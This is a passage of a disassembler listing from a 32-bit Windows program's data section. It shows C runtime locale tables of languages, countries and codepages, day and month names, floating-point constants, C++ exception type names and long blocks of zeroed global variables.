offset dword_414E1C+42Ah dd offset aFrance ; "France" dd offset dword_414E1C+42Ah dd 303538h, 0 a1252_1 db '1252',0 align 4 dd 40Fh, 66303430h, 0 dd offset aIcelandic ; "Icelandic" dd offset byte_4C5349 dd offset aIceland ; "Iceland" dd offset byte_4C5349 dd 303538h, 0 a1252_2 db '1252',0 align 10h dd 41Dh, 64313430h, 0 dd offset aSwedish ; "Swedish" dd offset byte_455653 dd offset aSweden ; "Sweden" dd offset byte_455753 dd 303538h, 0 a1252_3 db '1252',0 align 4 dd 42Dh, 64323430h, 0 dd offset aBasque ; "Basque" dd offset byte_515545 dd offset aSpain ; "Spain" dd offset byte_505345 dd 303538h, 0 a1252_4 db '1252',0 align 4 db 0Ah db 8,0 align 4 a080a db '080a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4D5345 dd offset aMexico ; "Mexico" dd 58454Dh, 303538h, 0 a1252_5 db '1252',0 align 4 dd 80Ch, 63303830h, 0 dd offset aFrench ; "French" dd offset loc_425243+3 dd offset aBelgium ; "Belgium" dd offset word_4C4542 dd 303538h, 0 a1252_6 db '1252',0 align 10h dd 0C07h, 37306330h, 0 dd offset aGerman ; "German" dd offset dword_414400+144h dd offset aAustria ; "Austria" dd 545541h, 303538h, 0 a1252_7 db '1252',0 align 4 dd 0C09h, 39306330h, 0 dd offset aEnglish ; "English" dd offset dword_414E1C+29h dd offset aAustralia ; "Australia" dd 535541h, 303538h, 0 a1252_8 db '1252',0 align 4 dd 0C0Ah, 61306330h, 0 dd offset aSpanishModernS ; "Spanish - Modern Sort" dd offset byte_4E5345 dd offset aSpain ; "Spain" dd offset byte_505345 dd 303538h, 0 a1252_9 db '1252',0 align 4 dd 0C0Ch, 63306330h, 0 dd offset aFrench ; "French" dd offset loc_435246 dd offset aCanada ; "Canada" dd offset byte_4E4143 dd 303538h, 0 a1252_10 db '1252',0 align 10h dd 100Ah, 61303031h, 0 dd offset aSpanish ; "Spanish" dd offset byte_475345 dd offset aGuatemala ; "Guatemala" dd offset byte_4D5447 dd 303538h, 0 a1252_11 db '1252',0 align 4 dd 100Ch, 63303031h, 0 dd offset aFrench ; "French" dd 535246h, 43A764h, 454843h, 303538h, 0 a1252_12 db '1252',0 align 4 dd 140Ah, 61303431h, 0 dd offset aSpanish ; "Spanish" dd offset loc_435345 dd offset aCostaRica ; "Costa Rica" dd offset byte_495243 dd 303538h, 0 a1252_13 db '1252',0 align 4 dd 140Ch, 63303431h, 0 dd offset aFrench ; "French" dd offset word_4C5246 dd offset aLuxembourg ; "Luxembourg" dd 58554Ch, 303538h, 0 a1252_14 db '1252',0 align 10h dd 180Ah, 61303831h, 0 dd offset aSpanish ; "Spanish" dd offset dword_414E1C+529h dd offset aPanama ; "Panama" dd offset dword_4E4150 dd 303538h, 0 a1252_15 db '1252',0 align 4 dd 1C09h, 39306331h, 0 dd offset aEnglish ; "English" dd 534E45h, 43A734h, 46415Ah, 373334h, 0 a1252_16 db '1252',0 align 4 dd 1C0Ah, 61306331h, 0 dd offset aSpanish ; "Spanish" dd offset dword_445258+0EDh dd offset aDominicanRepub ; "Dominican Republic" dd offset dword_4D4F44 dd 303538h, 0 a1252_17 db '1252',0 align 4 db 0Ah db ' ',0 align 4 a200a db '200a',0 align 10h dd offset aSpanish ; "Spanish" dd 565345h, 43A714h, 4E4556h, 303538h, 0 a1252_18 db '1252',0 align 10h db 0Ah db '$',0 align 4 a240a db '240a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4F5345 dd offset aColombia ; "Colombia" dd offset byte_4C4F43 dd 303538h, 0 a1252_19 db '1252',0 align 4 db 0Ah db '(',0 align 10h a280a db '280a',0 align 4 dd offset aSpanish ; "Spanish" dd 525345h, 43A700h, 524550h, 303538h, 0 a1252_20 db '1252',0 align 4 db 0Ah db ',',0 align 4 a2c0a db '2c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 535345h, 43A6F4h, 475241h, 303538h, 0 a1252_21 db '1252',0 align 4 a0 db 0Ah db '0',0 align 4 a300a db '300a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_465345 dd offset aEcuador ; "Ecuador" dd 554345h, 303538h, 0 a1252_22 db '1252',0 align 10h a4 db 0Ah db '4',0 align 4 a340a db '340a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4C5345 dd offset aChile ; "Chile" dd offset byte_4C4843 dd 303538h, 0 a1252_23 db '1252',0 align 4 a8 db 0Ah db '8',0 align 10h a380a db '380a',0 align 4 dd offset aSpanish ; "Spanish" dd 595345h, 43A6DCh, 595255h, 303538h, 0 a1252_24 db '1252',0 align 4 db 0Ah db '<',0 align 4 a3c0a db '3c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 5A5345h, 43A6D0h, 595250h, 303538h, 0 a1252_25 db '1252',0 align 4 word_450C84 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch ; DATA XREF: sub_4326D0+34r dw 810h, 81Dh off_450C98 dd offset aAmerica ; DATA XREF: seg000:00431D7Co ; "america" dd offset dword_414E1C+539h dd offset aBritain ; "britain" dd 524247h, 43A924h, 4E4843h, 43A91Ch, 455A43h, 43A914h dd 524247h, 43A904h, 524247h, 43A8FCh, 444C4Eh, 43A8F0h dd 474B48h, 43A8E4h, 4C5A4Eh, 43A8E0h, 4C5A4Eh, 43A8D4h dd 4E4843h, 43A8C8h, 4E4843h, 43A8BCh, 495250h, 43A8B4h dd 4B5653h, 43A8A4h, 46415Ah, 43A898h, 524F4Bh, 43A888h dd 46415Ah, 43A87Ch, 524F4Bh, 43A868h, 4F5454h, 43A944h dd 524247h, 43A858h, 524247h, 43A848h, 415355h, 43A940h dd 415355h off_450D50 dd offset aAmerican ; DATA XREF: seg000:00431D47o ; "american" dd 554E45h, 43AD30h, 554E45h, 43AD1Ch, 554E45h, 43AD10h dd 414E45h, 43AD08h, 424C4Eh, 43ACFCh, 434E45h, 43ACF8h dd 48485Ah, 43ACF4h, 49485Ah, 43ACECh, 534843h, 43ACD8h dd 48485Ah, 43ACC4h, 534843h, 43ACB0h, 49485Ah, 43AC9Ch dd 544843h, 43AC8Ch, 424C4Eh, 43AC78h, 554E45h, 43AC6Ch dd 414E45h, 43AC5Ch, 4C4E45h, 43AC50h, 434E45h, 43AC3Ch dd 424E45h, 43AC30h, 494E45h, 43AC20h, 4A4E45h, 43AC14h dd 5A4E45h, 43ABFCh, 534E45h, 43ABE0h, 544E45h, 43ABD4h dd 474E45h, 43ABC8h, 554E45h, 43ABBCh, 554E45h, 43ABACh dd 425246h, 43AB9Ch, 435246h, 43AB88h, 4C5246h, 43AB78h dd 535246h, 43AB68h, 414544h, 43AB54h, 434544h, 43AB40h dd 4C4544h, 43AB30h, 534544h, 43AB20h, 494E45h, 43AB10h dd 535449h, 43AB04h, 524F4Eh, 43AAF0h, 524F4Eh, 43AADCh dd 4E4F4Eh, 43AAC4h, 425450h, 43AAB0h, 535345h, 43AAA0h dd 425345h, 43AA90h, 4C5345h, 43AA7Ch, 4F5345h, 43AA68h dd 435345h, 43AA4Ch, 445345h, 43AA3Ch, 465345h, 43AA28h dd 455345h, 43AA14h, 475345h, 43AA00h, 485345h, 43A9F0h dd 4D5345h, 43A9E0h, 4E5345h, 43A9CCh, 495345h, 43A9BCh dd 415345h, 43A9A8h, 5A5345h, 43A998h, 525345h, 43A984h dd 555345h, 43A974h, 595345h, 43A960h, 565345h, 43A950h dd 465653h, 43A948h, 534544h, 43A944h, 474E45h, 43A940h dd 554E45h, 43A93Ch, 554E45h off_450F58 dd offset off_450F60 ; DATA XREF: sub_4307A0+70w ; sub_4307A0:loc_430841w ... align 10h off_450F60 dd offset aSun ; DATA XREF: sub_4307A0:loc_430841o ; seg002:off_450F58o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset dword_43AD88+34h dd offset dword_43AD88+30h dd offset dword_43AD88+2Ch dd offset dword_43AD88+24h dd offset dword_43AD88+10h dd offset dword_43AD88+8 align 10h dword_451010 dd 2Eh, 0 ; seg002:off_451018o off_451018 dd offset dword_451010 ; DATA XREF: sub_431450+D4w ; sub_431450+F6o ... off_45101C dd offset dword_4EECF0 ; DATA XREF: sub_431450+E2w off_451020 dd offset dword_4EECF0 ; DATA XREF: sub_431450+F1w dd offset dword_4EECF0 dd offset dword_4EECF0 dd offset dword_4EECF0 dd offset dword_4EECF0 dd offset dword_4EECF0 dd offset dword_4EECF0 dd offset dword_4EECF0 dd 2 dup(7F7F7F7Fh) off_451048 dd offset off_451018 ; DATA XREF: sub_431120:loc_431209r ; sub_431120+F8r ... align 10h dword_451050 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4511B0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4365B0+2Ao dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_451310 dd offset off_43B000 ; DATA XREF: seg001:off_43B028o ; seg001:0043B154o ... align 8 a_?avexception@ db '.?AVexception@@',0 off_451328 dd offset off_43B000 ; DATA XREF: seg001:off_43B040o ; seg001:0043B084o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_451348 dd offset off_43B000 ; DATA XREF: seg001:off_43B090o ; seg001:0043B0D4o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_451368 dd offset off_43B000 ; DATA XREF: seg001:off_43B0E0o ; seg001:0043B124o ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_451388 dd offset off_43B000 ; DATA XREF: seg001:off_43B160o ; seg001:0043B19Co align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_430650 align 8 dword_4513A8 dd 2 dup(0) dword_4513B0 dd 0 dword_4513B4 dd 0 ; sub_4014F8+4EBr dword_4513B8 dd 0 ; sub_419046+166r dword_4513BC dd 0 ; sub_4014F8+880r ... dword_4513C0 dd 0 ; sub_4014F8+A43r ... dword_4513C4 dd 0 ; sub_4014F8+A13r ... dword_4513C8 dd 0 ; sub_4014F8+4DBr dword_4513CC dd 0 ; sub_4014F8+234r ... dword_4513D0 dd 0 ; sub_4014F8+A3Br ... dword_4513D4 dd 0 ; sub_4014F8+3C7r ... dword_4513D8 dd 0 ; seg000:0041A502r dword_4513DC dd 0 ; sub_4014F8+3CFr ... dword_4513E0 dd 0 ; sub_418634+ADr dword_4513E4 dd 0 ; sub_410418+115r ... dword_4513E8 dd 0 ; sub_4014F8+D2r ... dword_4513EC dd 0 ; sub_4014F8+A06r ... dword_4513F0 dd 0 ; sub_4014F8+3E7r ... dword_4513F4 dd 0 ; sub_4014F8+8ACr dword_4513F8 dd 0 ; sub_4014F8+2F0r dword_4513FC dd 0 ; sub_4014F8+8A4r dword_451400 dd 0 dword_451404 dd 0 ; sub_4014F8+8B4r dword_451408 dd 0 ; sub_4014F8+6D0r ... dword_45140C dd 0 ; sub_4014F8+CAr ... dword_451410 dd 0 dword_451414 dd 0 ; sub_4014F8+A9Cr ... dword_451418 dd 0 ; sub_4014F8+F2r dword_45141C dd 0 ; sub_4014F8+4D3r dword_451420 dd 0 ; sub_409BE4+20r ... dword_451424 dd 0 ; sub_4014F8+A33r ... dword_451428 dd 0 ; sub_4014F8+754r dword_45142C dd 0 ; sub_40DA10+8Br ... dword_451430 dd 0 ; sub_40AA3E+9Ar dword_451434 dd 0 ; sub_4014F8+86Dr dword_451438 dd 0 ; sub_417BA1+15r dword_45143C dd 0 ; sub_4014F8+A1Br ... dword_451440 dd 0 ; sub_4014F8+3D7r ... dword_451444 dd 0 ; sub_4014F8+3DFr ... dword_451448 dd 0 ; seg000:00411BC9r dword_45144C dd 0 ; sub_40132F+23r ... dword_451450 dd 0 dword_451454 dd 0 ; sub_4014F8+A4Br ... dword_451458 dd 0 dword_45145C dd 0 ; sub_4014F8+DAr ... dword_451460 dd 0 ; sub_4014F8+BA4r ... dword_451464 dd 0 ; sub_4014F8+6B3r ... dword_451468 dd 0 ; sub_4014F8+890r dword_45146C dd 0 ; sub_4014F8+A23r ... dword_451470 dd 0 ; sub_4014F8+C3Fr dword_451474 dd 0 ; seg000:00417D92r dword_451478 dd 0 ; sub_413061+40r ... dword_45147C dd 0 ; sub_4014F8+92Er dword_451480 dd 0 dword_451484 dd 0 ; seg000:00417D9Ar dword_451488 dd 0 ; sub_4014F8+6E8r ... dword_45148C dd 0 ; sub_4014F8+873r dword_451490 dd 0 ; sub_4014F8+23Cr ... dword_451494 dd 0 ; sub_4014F8+1C2r dword_451498 dd 0 ; sub_4014F8+7A4r ... dword_45149C dd 0 ; sub_4014F8+718r ... dword_4514A0 dd 0 ; sub_4014F8+6DCr ... dword_4514A4 dd 0 ; sub_4014F8:loc_401DF1w dword_4514A8 dd 0 dword_4514AC dd 0 ; sub_4014F8+7BCr ... dword_4514B0 dd 0 ; sub_4014F8+341r ... dword_4514B4 dd 0 ; sub_4014F8+3EFr ... dword_4514B8 dd 0 ; sub_4014F8+C37r dword_4514BC dd 0 ; sub_4014F8+888r dword_4514C0 dd 0 ; sub_4014F8+227r ... dword_4514C4 dd 0 ; sub_4014F8+1D2r ... dword_4514C8 dd 0 ; sub_4014F8+898r dword_4514CC dd 0 ; sub_4014F8+774r ... dword_4514D0 dd 0 dword_4514D4 dd 0 ; sub_4014F8+79Cr ... dword_4514D8 dd 0 ; sub_4014F8+334r ... dword_4514DC dd 0 ; sub_4014F8+784r ... dword_4514E0 dd 0 ; sub_4014F8+4AEr dword_4514E4 dd 0 ; sub_4014F8+1DAr ... dword_4514E8 dd 0 ; sub_4014F8+3BAr ... dword_4514EC dd 0 dword_4514F0 dd 0 ; sub_4014F8+748r ... dword_4514F4 dd 0 ; sub_4014F8+73Cr ... dword_4514F8 dd 0 ; sub_4014F8+C2r ... dword_4514FC dd 0 ; sub_4014F8+4CBr dword_451500 dd 0 ; sub_4014F8+1BAr ... dword_451504 dd 0 ; sub_4014F8+A5Br ... dword_451508 dd 0 ; sub_4014F8+7ACr ... dword_45150C dd 0 ; sub_4014F8+76Cr ... dword_451510 dd 0 ; sub_4014F8+C47r dword_451514 dd 0 ; sub_4014F8+BAr ... dword_451518 dd 0 dword_45151C dd 0 ; sub_4014F8+78Cr ... dword_451520 dd 0 ; sub_4014F8+77Cr ... dword_451524 dd 0 dword_451528 dd 0 dword_45152C dd 0 ; sub_4014F8+C22r dword_451530 dd 0 ; sub_4014F8+730r ... dword_451534 dd 0 ; sub_4014F8+4BBr dword_451538 dd 0 ; sub_4014F8+4E3r dword_45153C dd 0 ; sub_4014F8+4C3r dword_451540 dd 0 ; sub_40145D+80r ... dword_451544 dd 0 ; sub_4014F8+1E2r ... dword_451548 dd 0 ; sub_4014F8+A53r ... dword_45154C dd 0 ; sub_4014F8+1ADr ... dword_451550 dd 0 ; sub_4014F8+E2r ... dword_451554 dd 0 ; sub_4014F8+764r ... dword_451558 dd 0 ; sub_4014F8+B5Fr ... dword_45155C dd 0 ; sub_418FDB+55r dword_451560 dd 0 ; sub_4014F8+2D3r ... dword_451564 dd 0 dword_451568 dd 0 ; sub_402533+D4r dword_45156C dd 0 ; sub_4014F8+AE6r ... dword_451570 dd 0 ; sub_4014F8+700r ... dword_451574 dd 0 ; sub_4014F8+7B4r ... dword_451578 dd 0 ; sub_4014F8+C2Fr dword_45157C dd 0 ; sub_4014F8+724r ... dword_451580 dd 0 ; sub_4014F8+A2Br ... dword_451584 dd 0 ; sub_4014F8+794r ... dword_451588 dd 0 ; sub_4014F8+6B9w ... dword_45158C dd 0 ; sub_4014F8+70Cr ... dword_451590 dd 0 ; sub_4014F8+B57r ... dword_451594 dd 0 ; sub_4014F8+6C4r ... dword_451598 dd 0 ; sub_4014F8+B4Ar ... dword_45159C dd 0 ; sub_4014F8+ADr ... dword_4515A0 dd 0 ; sub_4014F8+1CAr align 8 dword_4515A8 dd 0 ; sub_4014F8+93Br dword_4515AC dd 0 ; sub_4014F8+EAr ... dword_4515B0 dd 0 ; sub_4014F8+12Bw ... dword_4515B4 dd 0 ; sub_40216A+1Cr dword_4515B8 dd 0 ; sub_4014F8:loc_40174Dw ... dword_4515BC dd 0 ; sub_40216A+50r dword_4515C0 dd 0 ; sub_4014F8:loc_401845w ... dword_4515C4 dd 0 ; sub_40216A+84r dword_4515C8 dd 0 ; sub_40216A:loc_40221Ar dword_4515CC dd 0 ; sub_40216A+B8r dword_4515D0 dd 0 ; sub_40216A:loc_40224Er dword_4515D4 dd 0 ; sub_40216A+ECr dword_4515D8 dd 0 ; sub_4014F8+8EFw ... dword_4515DC dd 0 ; sub_40216A+120r dword_4515E0 dd 0 ; sub_40216A:loc_4022B6r ... dword_4515E4 dd 0 ; sub_40216A+154r dword_4515E8 dd 0 ; sub_40216A:loc_4022EAr ... dword_4515EC dd 0 ; sub_40216A+188r dword_4515F0 dd 0 ; sub_40216A:loc_40231Er dword_4515F4 dd 0 ; sub_40216A+1BCr dword_4515F8 dd 0 ; sub_40216A:loc_402352r dword_4515FC dd 0 ; sub_40216A+1F0r dword_451600 dd 0 ; sub_40216A:loc_402386r dword_451604 dd 0 ; sub_40216A+224r dword_451608 dd 0 ; sub_40216A:loc_4023BAr dword_45160C dd 0 ; sub_40216A+258r dword_451610 dd 0 ; sub_40216A:loc_4023EEr dword_451614 dd 0 ; sub_40216A+28Cr align 10h dword_451620 dd 5 dup(0) dword_451634 dd 0 dword_451638 dd 0 ; seg000:00403917r ... dd 5 dup(0) dword_451650 dd 0 ; sub_4160AF+60r dd 2D9h dup(0) dword_4521B8 dd 0 ; seg000:00405F0Ar ... dd 7Fh dup(0) dword_4523B8 dd 0 ; sub_408E7A+40w ... dword_4523BC dd 0 ; sub_408E7A+46w ... dword_4523C0 dd 0 ; sub_408E7A+3Ar ... dword_4523C4 dd 0 ; sub_402D46+B9w ... dword_4523C8 dd 0 ; sub_40905B+2Aw ... dword_4523CC dd 0 ; seg000:0040499Ew ... byte_4523D0 db 0 ; DATA XREF: sub_402D46+91o ; seg000:00405D5Br ... align 4 dd 0C9Fh dup(0) db 3 dup(0) byte_455653 db 0 ; DATA XREF: seg002:004508A0o dd 3Fh dup(0) db 3 dup(0) byte_455753 db 0 ; DATA XREF: seg002:004508A8o dd 73Bh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: seg002:off_44D328o dd 37C0h dup(0) db 0 byte_465345 db 3 dup(0) ; DATA XREF: seg002:00450BE4o dd 3FFFh dup(0) db 0 byte_475345 db 3 dup(0) ; DATA XREF: seg002:00450A00o dd 6B42h dup(0) db 2 dup(0) word_490052 dw 0 ; DATA XREF: seg002:004469D8o dd 2 dup(0) dword_49005C dd 1479h dup(0) ; seg002:off_4453A8o db 3 dup(0) byte_495243 db 0 ; DATA XREF: seg002:00450A60o dd 8000h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: seg002:off_44D4BCo dd 3CBEh dup(0) db 2 dup(0) word_4C4542 dw 0 ; DATA XREF: seg002:0045092Co dd 0BFh dup(0) db 3 dup(0) byte_4C4843 db 0 ; DATA XREF: seg002:00450C18o dd 1BFh dup(0) db 3 dup(0) byte_4C4F43 db 0 ; DATA XREF: seg002:00450B68o dd 0C0h dup(0) db 2 dup(0) word_4C5246 dw 0 ; DATA XREF: seg002:00450A84o dd 3Fh dup(0) db 0 byte_4C5345 db 3 dup(0) ; DATA XREF: seg002:00450C10o db 0 byte_4C5349 db 3 dup(0) ; DATA XREF: seg002:00450874o ; seg002:0045087Co dd 3B81h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: seg002:off_44CA48o dd 37Ch dup(0) dword_4D4F44 dd 100h dup(0) db 0 byte_4D5345 db 3 dup(0) ; DATA XREF: seg002:004508F8o dd 3Fh dup(0) db 3 dup(0) byte_4D5447 db 0 ; DATA XREF: seg002:00450A08o dd 275Ch dup(0) dword_4DF1B8 dd 0 ; sub_408D3F+13o ... dword_4DF1BC dd 0 ; seg000:loc_408115r ... dd 5Ah dup(0) byte_4DF328 db 0 ; DATA XREF: sub_402EAE+28r ; sub_402EAE+30o align 4 dd 3 dup(0) dword_4DF338 dd 0 dword_4DF33C dd 0 dword_4DF340 dd 2 dup(0) dword_4DF348 dd 0 dword_4DF34C dd 0 dword_4DF350 dd 0 dword_4DF354 dd 0 dword_4DF358 dd 2 dup(0) dword_4DF360 dd 0 dword_4DF364 dd 0 dword_4DF368 dd 0 byte_4DF36C db 0 ; DATA XREF: sub_408C38+6Ar ; sub_408C38+98w align 10h dd 2 dup(0) dword_4DF378 dd 0 ; sub_409C2C+92w ... dword_4DF37C dd 0 ; sub_40A146+D9w ... dd 0Eh dup(0) dword_4DF3B8 dd 0 ; sub_408FA6+19o dword_4DF3BC dd 7EFh dup(0) dword_4E1378 dd 6 dup(0) ; sub_409F32+138o ... dword_4E1390 dd 0 ; seg000:00409A56o dword_4E1394 dd 0 ; seg000:00409A68r dword_4E1398 dd 0 dword_4E139C dd 0 ; seg000:loc_409A23r dword_4E13A0 dd 20h dup(0) ; seg000:00409A10o dword_4E1420 dd 0 dword_4E1424 dd 0 ; seg000:00409A1Dw dword_4E1428 dd 0 dd 2 dup(0) dword_4E1434 dd 83h dup(0) dword_4E1640 dd 0 dword_4E1644 dd 0 dd 0CEh dup(0) dword_4E1980 dd 0 ; seg000:00409B7Eo dword_4E1984 dd 0A2h dup(0) dword_4E1C0C dd 41h dup(0) dword_4E1D10 dd 0 ; seg000:00409B31r align 8 dword_4E1D18 dd 0 ; seg000:00409B90r dword_4E1D1C dd 0 dword_4E1D20 dd 0 dword_4E1D24 dd 0 dd 0 dword_4E1D2C dd 0 dd 0 dword_4E1D34 dd 0 ; seg000:00409392r ... dword_4E1D38 dd 0 ; seg000:00409386r ... dword_4E1D3C dd 82h dup(0) byte_4E1F44 db 0 ; DATA XREF: sub_40A958+36r align 4 dword_4E1F48 dd 0 dword_4E1F4C dd 0 byte_4E1F50 db 0 ; DATA XREF: sub_40AA3E+37r align 4 dword_4E1F54 dd 0 dword_4E1F58 dd 0 ; seg000:loc_40B1B4r dword_4E1F5C dd 0 ; seg000:0040B72Cw ... dword_4E1F60 dd 40h dup(0) ; sub_40B7F9+C0o dword_4E2060 dd 0 ; seg000:0040B28Er ... dword_4E2064 dd 2Bh dup(0) dword_4E2110 dd 81h dup(0) db 2 dup(0) word_4E2316 dw 0 ; DATA XREF: seg000:0040B56Bo ; seg000:0040B598o ... dword_4E2318 dd 0 db 2 dup(0) word_4E231E dw 0 ; DATA XREF: seg000:0040B2F0o ; seg000:0040B322o ... dword_4E2320 dd 4 dup(0) dword_4E2330 dd 2Eh dup(0) db 2 dup(0) word_4E23EA dw 0 ; DATA XREF: seg000:0040B27Bo dd 1Eh dup(0) dword_4E2464 dd 0 ; seg000:0040B738r ... dword_4E2468 dd 0 ; seg000:0040B7E6r dd 2 dup(0) dword_4E2474 dd 2 dup(0) dword_4E247C dd 0 dword_4E2480 dd 2 dup(0) dword_4E2488 dd 40h dup(0) dword_4E2588 dd 0 ; sub_40DA10+85r dword_4E258C dd 1Ah dup(0) dword_4E25F4 dd 0 dword_4E25F8 dd 0 dword_4E25FC dd 4 dup(0) byte_4E260C db 0 ; DATA XREF: sub_40EE3A+Dr align 10h byte_4E2610 db 0 ; DATA XREF: sub_40EE3A+25r align 8 dword_4E2618 dd 0 dword_4E261C dd 0 dword_4E2620 dd 0 ; seg000:0040F88Fo ... dword_4E2624 dd 0 ; seg000:0040F8ADr ... dword_4E2628 dd 0 ; seg000:0040F8A2r ... dword_4E262C dd 0 ; seg000:0040F868o ... dword_4E2630 dd 0 ; sub_40F788+3Dr ... align 8 dword_4E2638 dd 0 ; seg000:0040B04Br ... align 10h dword_4E2640 dd 0 ; seg000:0040FCA7w dword_4E2644 dd 0 ; sub_410301+51r ... dd 3 dup(0) dword_4E2654 dd 3 dup(0) dword_4E2660 dd 0 align 8 dword_4E2668 dd 2 dup(0) byte_4E2670 db 0 ; DATA XREF: seg000:00412CF2r align 4 dword_4E2674 dd 0 ; seg000:0041334Bo dd 10Ah dup(0) dword_4E2AA0 dd 80h dup(0) ; sub_415725+191o ... byte_4E2CA0 db 0 ; DATA XREF: sub_415725+19Fw ; sub_415725+278o align 2 word_4E2CA2 dw 0 ; DATA XREF: sub_415725+1ACw word_4E2CA4 dw 0 ; DATA XREF: sub_415725+1B6w word_4E2CA6 dw 0 ; DATA XREF: sub_415725+1BFw byte_4E2CA8 db 0 ; DATA XREF: sub_415725+1C6w byte_4E2CA9 db 0 ; DATA XREF: sub_415725+1CDw word_4E2CAA dw 0 ; DATA XREF: sub_415725+1D4w dword_4E2CAC dd 0 dword_4E2CB0 dd 0 word_4E2CB4 dw 0 ; DATA XREF: sub_415725+242w word_4E2CB6 dw 0 ; DATA XREF: sub_415725+22Aw word_4E2CB8 dw 0 ; DATA XREF: sub_415725+254w word_4E2CBA dw 0 ; DATA XREF: sub_415725+1F5w dword_4E2CBC dd 101h dup(0) dword_4E30C0 dd 0 ; sub_415725:loc_41585Br ... align 10h byte_4E30D0 db 0 ; DATA XREF: sub_415C17+244o ; sub_415C17+253w ... byte_4E30D1 db 0 ; DATA XREF: sub_415C17+267w word_4E30D2 dw 0 ; DATA XREF: sub_415C17+298w word_4E30D4 dw 0 ; DATA XREF: sub_415C17+27Fw ; sub_415C17:loc_415FDDw word_4E30D6 dw 0 ; DATA XREF: sub_415C17+29Ew byte_4E30D8 db 0 ; DATA XREF: sub_415C17+28Bw byte_4E30D9 db 0 ; DATA XREF: sub_415C17+260w word_4E30DA dw 0 ; DATA XREF: sub_415C17+3E6w ; sub_415C17+410w dword_4E30DC dd 0 ; sub_415C17+38Er dword_4E30E0 dd 0 word_4E30E4 dw 0 ; DATA XREF: sub_415C17+388w ; 